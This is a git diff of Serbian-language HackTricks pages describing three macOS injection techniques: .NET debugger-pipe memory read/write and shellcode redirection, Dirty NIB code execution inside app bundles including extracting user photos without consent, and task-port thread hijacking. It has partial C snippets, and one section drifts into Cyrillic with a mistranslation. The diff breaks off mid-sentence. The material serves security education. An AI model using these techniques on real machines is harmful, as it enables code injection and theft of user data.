diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md index b2b487212..62bc46e7e 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md @@ -1,30 +1,31 @@ -# Ubacivanje .Net aplikacija na macOS +# macOS .Net Applications Injection + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Drugi načini podrške HackTricks-u: - -* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) -* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -**Ovo je sažetak posta [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/). Pogledajte ga za dalje detalje!** +**Ovo je sažetak posta [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/). Proverite ga za dalje detalje!** -## .NET Core Debugiranje +## .NET Core Debugging -### **Uspostavljanje debugiranja** +### **Usmeravanje Debugging Sesije** -Komunikacija između debugera i debugiranog programa u .NET-u se upravlja preko [**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp). Ovaj komponenta postavlja dve nazvane cevi po .NET procesu, kako je prikazano u [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127), koje se iniciraju preko [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27). Ove cevi su sufiksirane sa **`-in`** i **`-out`**. +Upravljanje komunikacijom između debagera i debuggee u .NET-u se vrši putem [**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp). Ova komponenta postavlja dve imenovane cevi po .NET procesu, kao što se može videti u [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127), koje se iniciraju putem [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27). Ove cevi su sa sufiksima **`-in`** i **`-out`**. -Posetom korisnikovom **`$TMPDIR`**, mogu se pronaći FIFO-ovi za debugiranje .Net aplikacija. +Posetom korisničkom **`$TMPDIR`**, mogu se pronaći debugging FIFO-ovi dostupni za debugging .Net aplikacija. -[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) je odgovoran za upravljanje komunikacijom od debugera. Da bi započeo novu sesiju debugiranja, debugger mora poslati poruku putem `out` cevi koja počinje sa `MessageHeader` strukturom, detaljno opisanom u izvornom kodu .NET-a: +[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) je odgovoran za upravljanje komunikacijom iz debagera. Da bi se započela nova debugging sesija, debager mora poslati poruku putem `out` cevi koja počinje sa `MessageHeader` strukturom, detaljno opisanu u .NET izvoru: ```c struct MessageHeader { MessageType m_eType; // Message type @@ -54,18 +55,18 @@ sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion; sSendHeader.m_cbDataBlock = sizeof(SessionRequestData); ``` -Ova zaglavlje se zatim šalje cilju koristeći `write` sistemski poziv, praćeno strukturom `sessionRequestData` koja sadrži GUID za sesiju: +Ova glava se zatim šalje cilju koristeći `write` syscall, nakon čega sledi `sessionRequestData` struktura koja sadrži GUID za sesiju: ```c write(wr, &sSendHeader, sizeof(MessageHeader)); memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData)); write(wr, &sDataBlock, sizeof(SessionRequestData)); ``` -Operacija čitanja na `out` cevi potvrđuje uspeh ili neuspeh uspostavljanja sesije za debagovanje: +Operacija čitanja na `out` cevi potvrđuje uspeh ili neuspeh uspostavljanja sesije debagovanja: ```c read(rd, &sReceiveHeader, sizeof(MessageHeader)); ``` -## Čitanje memorije -Jednom kada je uspostavljena sesija za debagovanje, memorija se može čitati koristeći tip poruke [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896). Funkcija readMemory je detaljno opisana, izvodeći neophodne korake za slanje zahteva za čitanje i dobijanje odgovora: +## Читање Мемоарије +Када се успостави сесија дебаговања, меморија се може читати користећи [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896) тип поруке. Функција readMemory је детаљно објашњена, извршавајући неопходне кораке за слање захтева за читање и преузимање одговора: ```c bool readMemory(void *addr, int len, unsigned char **output) { // Allocation and initialization @@ -77,11 +78,11 @@ bool readMemory(void *addr, int len, unsigned char **output) { return true; } ``` -Potpuni dokaz koncepta (POC) dostupan je [ovde](https://gist.github.com/xpn/95eefc14918998853f6e0ab48d9f7b0b). +Kompletan dokaz koncepta (POC) je dostupan [ovde](https://gist.github.com/xpn/95eefc14918998853f6e0ab48d9f7b0b). -## Pisanje u memoriju +## Pisanje u Memoriju -Slično tome, memorija se može pisati pomoću funkcije `writeMemory`. Postupak uključuje postavljanje tipa poruke na `MT_WriteMemory`, navođenje adrese i dužine podataka, a zatim slanje podataka: +Slično tome, memorija se može pisati koristeći funkciju `writeMemory`. Proces uključuje postavljanje tipa poruke na `MT_WriteMemory`, određivanje adrese i dužine podataka, a zatim slanje podataka: ```c bool writeMemory(void *addr, int len, unsigned char *input) { // Increment IDs, set message type, and specify memory location @@ -95,35 +96,36 @@ return true; ``` Povezani POC je dostupan [ovde](https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5). -## Izvršavanje koda u .NET Core +## .NET Core Izvršavanje Koda -Da biste izvršili kod, potrebno je identifikovati memorijsku regiju sa dozvolama za čitanje, pisanje i izvršavanje (rwx), što se može uraditi pomoću komande vmmap -pages: +Da bi se izvršio kod, potrebno je identifikovati memorijsku oblast sa rwx dozvolama, što se može uraditi koristeći vmmap -pages: ```bash vmmap -pages [pid] vmmap -pages 35829 | grep "rwx/rwx" ``` -Lociranje mesta za prepisivanje pokazivača funkcije je neophodno, a u .NET Core-u to se može postići ciljanjem **Dynamic Function Table (DFT)**. Ova tabela, detaljno opisana u [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h), koristi se od strane izvršnog okruženja za JIT kompilacijske pomoćne funkcije. +Lociranje mesta za prepisivanje pokazivača funkcije je neophodno, a u .NET Core, to se može uraditi ciljanjem na **Dynamic Function Table (DFT)**. Ova tabela, detaljno opisana u [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h), koristi se od strane runtime-a za JIT kompajlaciju pomoćnih funkcija. -Za x64 sisteme, može se koristiti pretraga potpisa kako bi se pronašla referenca na simbol `_hlpDynamicFuncTable` u `libcorclr.dll`. +Za x64 sisteme, pretraživanje potpisa može se koristiti za pronalaženje reference na simbol `_hlpDynamicFuncTable` u `libcorclr.dll`. -Debugger funkcija `MT_GetDCB` pruža korisne informacije, uključujući adresu pomoćne funkcije `m_helperRemoteStartAddr`, koja ukazuje na lokaciju `libcorclr.dll` u memoriji procesa. Ova adresa se zatim koristi za pretragu DFT i prepisivanje pokazivača funkcije sa adresom shell koda. +Debugger funkcija `MT_GetDCB` pruža korisne informacije, uključujući adresu pomoćne funkcije, `m_helperRemoteStartAddr`, koja ukazuje na lokaciju `libcorclr.dll` u memoriji procesa. Ova adresa se zatim koristi za započinjanje pretrage za DFT i prepisivanje pokazivača funkcije sa adresom shellcode-a. -Ceo POC kod za ubacivanje u PowerShell može se pronaći [ovde](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6). +Puni POC kod za injekciju u PowerShell je dostupan [ovde](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6). -## Reference +## References * [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/) +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Drugi načini podrške HackTricks-u: - -* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) -* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md index 3d915eef2..5da4ed4dd 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md @@ -1,86 +1,88 @@ -# macOS Prljavi NIB +# macOS Dirty NIB + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Drugi načini podrške HackTricks-u: - -* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) -* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -**Za dalje detalje o tehnici pogledajte originalni post na: [https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/).** Evo sažetka: +**Za više detalja o tehnici pogledajte originalni post sa: [https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/).** Evo sažetak: -NIB fajlovi, deo Apple-ovog razvojnog ekosistema, služe za definisanje **UI elemenata** i njihovih interakcija u aplikacijama. Obuhvataju serijalizovane objekte kao što su prozori i dugmad, i učitavaju se pri izvršavanju. Uprkos njihovoj trenutnoj upotrebi, Apple sada preporučuje Storyboards za sveobuhvatniju vizualizaciju UI toka. +NIB datoteke, deo Apple-ovog razvojnog ekosistema, namenjene su definisanju **UI elemenata** i njihovim interakcijama u aplikacijama. One obuhvataju serijalizovane objekte kao što su prozori i dugmad, i učitavaju se u vreme izvođenja. I pored njihove stalne upotrebe, Apple sada preporučuje Storyboards za sveobuhvatniju vizualizaciju UI toka. -### Bezbednosne brige sa NIB fajlovima -Važno je napomenuti da **NIB fajlovi mogu predstavljati bezbednosni rizik**. Imaju potencijal da **izvršavaju proizvoljne komande**, a izmene NIB fajlova unutar aplikacije ne sprečavaju Gatekeeper da izvrši aplikaciju, što predstavlja značajnu pretnju. +### Bezbednosne brige sa NIB datotekama +Važno je napomenuti da **NIB datoteke mogu predstavljati bezbednosni rizik**. One imaju potencijal da **izvrše proizvoljne komande**, a izmene u NIB datotekama unutar aplikacije ne sprečavaju Gatekeeper da izvrši aplikaciju, što predstavlja značajnu pretnju. -### Proces zloupotrebe prljavog NIB-a -#### Kreiranje i podešavanje NIB fajla -1. **Početno podešavanje**: -- Kreirajte novi NIB fajl koristeći XCode. -- Dodajte objekat na interfejs, postavljajući mu klasu na `NSAppleScript`. -- Podesite početno svojstvo `source` putem User Defined Runtime Attributes. +### Proces injekcije Dirty NIB +#### Kreiranje i postavljanje NIB datoteke +1. **Početna konfiguracija**: +- Kreirajte novu NIB datoteku koristeći XCode. +- Dodajte objekat u interfejs, postavljajući njegovu klasu na `NSAppleScript`. +- Konfigurišite početnu `source` osobinu putem korisnički definisanih runtime atributa. -2. **Kod za izvršavanje**: -- Podešavanje omogućava pokretanje AppleScript-a po potrebi. -- Integrišite dugme za aktiviranje objekta `Apple Script`, posebno pokretanje selektora `executeAndReturnError:`. +2. **Gadget za izvršenje koda**: +- Konfiguracija omogućava pokretanje AppleScript-a na zahtev. +- Integrisati dugme za aktiviranje `Apple Script` objekta, posebno pokrećući `executeAndReturnError:` selektor. 3. **Testiranje**: -- Jednostavan AppleScript za testiranje: +- Jednostavan Apple Script za testiranje: ```bash set theDialogText to "PWND" display dialog theDialogText ``` -- Testirajte pokretanjem u XCode debuggeru i klikom na dugme. +- Testirajte pokretanjem u XCode debageru i klikom na dugme. #### Ciljanje aplikacije (Primer: Pages) 1. **Priprema**: -- Kopirajte ciljanu aplikaciju (npr. Pages) u poseban direktorijum (npr. `/tmp/`). -- Pokrenite aplikaciju da zaobiđete probleme sa Gatekeeper-om i keširajte je. +- Kopirajte ciljanju aplikaciju (npr. Pages) u poseban direktorijum (npr. `/tmp/`). +- Pokrenite aplikaciju da biste izbegli probleme sa Gatekeeper-om i keširali je. -2. **Pisanje preko NIB fajla**: -- Zamenite postojeći NIB fajl (npr. About Panel NIB) sa izrađenim DirtyNIB fajlom. +2. **Prepisivanje NIB datoteke**: +- Zamenite postojeću NIB datoteku (npr. About Panel NIB) sa kreiranom DirtyNIB datotekom. -3. **Izvršavanje**: -- Pokrenite izvršavanje interakcijom sa aplikacijom (npr. izborom stavke menija `About`). +3. **Izvršenje**: +- Pokrenite izvršenje interakcijom sa aplikacijom (npr. odabirom `About` menija). -#### Dokaz o konceptu: Pristupanje korisničkim podacima -- Izmenite AppleScript da pristupite i izvučete korisničke podatke, kao što su fotografije, bez pristanka korisnika. +#### Dokaz koncepta: Pristup korisničkim podacima +- Izmenite AppleScript da pristupi i izvuče korisničke podatke, kao što su fotografije, bez pristanka korisnika. -### Primer koda: Zlonamerni .xib fajl -- Pristupite i pregledajte [**primer zlonamernog .xib fajla**](https://gist.github.com/xpn/16bfbe5a3f64fedfcc1822d0562636b4) koji demonstrira izvršavanje proizvoljnog koda. +### Uzorak koda: Maliciozna .xib datoteka +- Pristupite i pregledajte [**uzorak maliciozne .xib datoteke**](https://gist.github.com/xpn/16bfbe5a3f64fedfcc1822d0562636b4) koja demonstrira izvršavanje proizvoljnog koda. -### Adresiranje ograničenja pokretanja -- Ograničenja pokretanja sprečavaju izvršavanje aplikacije sa neočekivanih lokacija (npr. `/tmp`). -- Moguće je identifikovati aplikacije koje nisu zaštićene ograničenjima pokretanja i ciljati ih za ubacivanje NIB fajla. +### Rešavanje ograničenja pokretanja +- Ograničenja pokretanja sprečavaju izvršavanje aplikacija iz neočekivanih lokacija (npr. `/tmp`). +- Moguće je identifikovati aplikacije koje nisu zaštićene Ograničenjima pokretanja i ciljati ih za injekciju NIB datoteka. -### Dodatne macOS zaštite -Od macOS Sonoma verzije nadalje, modifikacije unutar App bundle-ova su ograničene. Međutim, ranije metode su uključivale: -1. Kopiranje aplikacije na drugu lokaciju (npr. `/tmp/`). -2. Preimenovanje direktorijuma unutar App bundle-a da bi se zaobišle početne zaštite. -3. Nakon pokretanja aplikacije da se registruje kod Gatekeeper-a, modifikovanje App bundle-a (npr. zamena MainMenu.nib sa Dirty.nib). -4. Vraćanje preimenovanih direktorijuma i ponovno pokretanje aplikacije da bi se izvršio ubačeni NIB fajl. +### Dodatne zaštite macOS-a +Od macOS Sonoma nadalje, izmene unutar App bundle-a su ograničene. Međutim, ranije metode su uključivale: +1. Kopiranje aplikacije na drugo mesto (npr. `/tmp/`). +2. Preimenovanje direktorijuma unutar app bundle-a da bi se zaobišle početne zaštite. +3. Nakon pokretanja aplikacije da se registruje sa Gatekeeper-om, izmena app bundle-a (npr. zamena MainMenu.nib sa Dirty.nib). +4. Ponovno preimenovanje direktorijuma i ponovo pokretanje aplikacije da bi se izvršila injektovana NIB datoteka. -**Napomena**: Nedavne macOS nadogradnje su umanjile ovu eksploataciju sprečavanjem modifikacija fajlova unutar App bundle-a nakon keširanja od strane Gatekeeper-a, čime je eksploatacija postala neefikasna. +**Napomena**: Nedavne ažuriranja macOS-a su ublažila ovu eksploataciju sprečavanjem izmene datoteka unutar app bundle-a nakon keširanja Gatekeeper-a, čime je eksploatacija postala neefikasna. +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Drugi načini podrške HackTricks-u: - -* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) -* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md index 343c96d59..7c2cf003d 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md @@ -1,68 +1,69 @@ -# macOS Ubacivanje niti putem Task porta +# macOS Thread Injection via Task port + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Drugi načini podrške HackTricks-u: - -* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Pogledajte [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) -* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -## Kod +## Code * [https://github.com/bazad/threadexec](https://github.com/bazad/threadexec) * [https://gist.github.com/knightsc/bd6dfeccb02b77eb6409db5601dcef36](https://gist.github.com/knightsc/bd6dfeccb02b77eb6409db5601dcef36) -## 1. Hakovanje niti +## 1. Thread Hijacking -Prvo se poziva funkcija **`task_threads()`** na Task portu da bi se dobio spisak niti iz udaljenog taska. Nit se bira za hakovanje. Ovaj pristup se razlikuje od konvencionalnih metoda ubacivanja koda jer je stvaranje nove udaljene niti zabranjeno zbog nove zaštite koja blokira `thread_create_running()`. +U početku, **`task_threads()`** funkcija se poziva na task portu da bi se dobila lista niti iz udaljenog taska. Niti se biraju za preuzimanje. Ovaj pristup se razlikuje od konvencionalnih metoda injekcije koda jer je kreiranje nove udaljene niti zabranjeno zbog nove mitigacije koja blokira `thread_create_running()`. -Da bi se kontrolisala nit, poziva se funkcija **`thread_suspend()`**, koja zaustavlja njeno izvršavanje. +Da bi se kontrolisala nit, poziva se **`thread_suspend()`**, zaustavljajući njeno izvršavanje. -Jedine dozvoljene operacije na udaljenoj niti uključuju **zaustavljanje** i **pokretanje** niti, **dobijanje** i **menjanje** vrednosti registara. Udaljeni pozivi funkcija se pokreću postavljanjem registara `x0` do `x7` na **argumente**, konfigurisanjem **`pc`** da cilja željenu funkciju i aktiviranjem niti. Da bi se osiguralo da nit ne padne nakon povratka, neophodno je otkriti povratnu vrednost. +Jedine operacije dozvoljene na udaljenoj niti uključuju **zaustavljanje** i **pokretanje** nje, **dobijanje** i **modifikovanje** vrednosti njenih registara. Udaljeni pozivi funkcija se iniciraju postavljanjem registara `x0` do `x7` na **argumente**, konfigurišući **`pc`** da cilja željenu funkciju, i aktiviranjem niti. Osiguranje da nit ne sruši nakon povratka zahteva detekciju povratka. -Jedna strategija uključuje **registrovanje rukovaoca izuzecima** za udaljenu nit korišćenjem `thread_set_exception_ports()`, postavljanje registra `lr` na nevažeću adresu pre poziva funkcije. Ovo pokreće izuzetak nakon izvršavanja funkcije, šalje poruku na port izuzetka i omogućava inspekciju stanja niti radi povraćaja povratne vrednosti. Alternativno, kao što je preuzeto iz Ian Beer-ovog triple\_fetch exploit-a, `lr` je postavljen da beskonačno petlja. Registri niti se zatim neprekidno prate dok **`pc` ne pokazuje na tu instrukciju**. +Jedna strategija uključuje **registraciju handler-a za izuzetke** za udaljenu nit koristeći `thread_set_exception_ports()`, postavljajući `lr` registar na nevažeću adresu pre poziva funkcije. Ovo pokreće izuzetak nakon izvršenja funkcije, šaljući poruku na port izuzetaka, omogućavajući inspekciju stanja niti da se povrati povratna vrednost. Alternativno, kao što je preuzeto iz Ian Beer-ovog triple\_fetch exploit-a, `lr` se postavlja da beskonačno petlja. Registri niti se zatim neprekidno prate dok **`pc` ne ukazuje na tu instrukciju**. -## 2. Mach portovi za komunikaciju +## 2. Mach ports for communication -Sledeća faza uključuje uspostavljanje Mach portova radi olakšane komunikacije sa udaljenom niti. Ovi portovi su od suštinskog značaja za prenos proizvoljnih prava slanja i primanja između zadataka. +Sledeća faza uključuje uspostavljanje Mach portova za olakšavanje komunikacije sa udaljenom niti. Ovi portovi su ključni za prenos proizvoljnih prava slanja i primanja između taskova. -Za dvosmernu komunikaciju, kreiraju se dva Mach primanja prava: jedno u lokalnom, a drugo u udaljenom zadatku. Zatim se za svaki port prenosi pravo slanja na odgovarajući zadatak, omogućavajući razmenu poruka. +Za dvosmernu komunikaciju, kreiraju se dva Mach prava primanja: jedno u lokalnom i drugo u udaljenom tasku. Nakon toga, pravo slanja za svaki port se prenosi u odgovarajući task, omogućavajući razmenu poruka. -Fokus je na lokalnom portu, gde lokalni zadatak drži primanje prava. Port se kreira pomoću `mach_port_allocate()`. Izazov leži u prenosu prava slanja na ovaj port u udaljeni zadatak. +Fokusirajući se na lokalni port, pravo primanja drži lokalni task. Port se kreira sa `mach_port_allocate()`. Izazov leži u prenosu prava slanja na ovaj port u udaljeni task. -Jedna strategija uključuje iskorišćavanje `thread_set_special_port()` da bi se postavilo pravo slanja na lokalni port u `THREAD_KERNEL_PORT` udaljene niti. Zatim se udaljenoj niti nalaže da pozove `mach_thread_self()` da bi dobila pravo slanja. +Strategija uključuje korišćenje `thread_set_special_port()` da se postavi pravo slanja na lokalni port u `THREAD_KERNEL_PORT` udaljene niti. Zatim, udaljenoj niti se naređuje da pozove `mach_thread_self()` da bi dobila pravo slanja. -Za udaljeni port, proces je suštinski obrnut. Udaljenoj niti se nalaže da generiše Mach port putem `mach_reply_port()` (jer `mach_port_allocate()` nije pogodan zbog mehanizma povratka). Nakon kreiranja porta, u 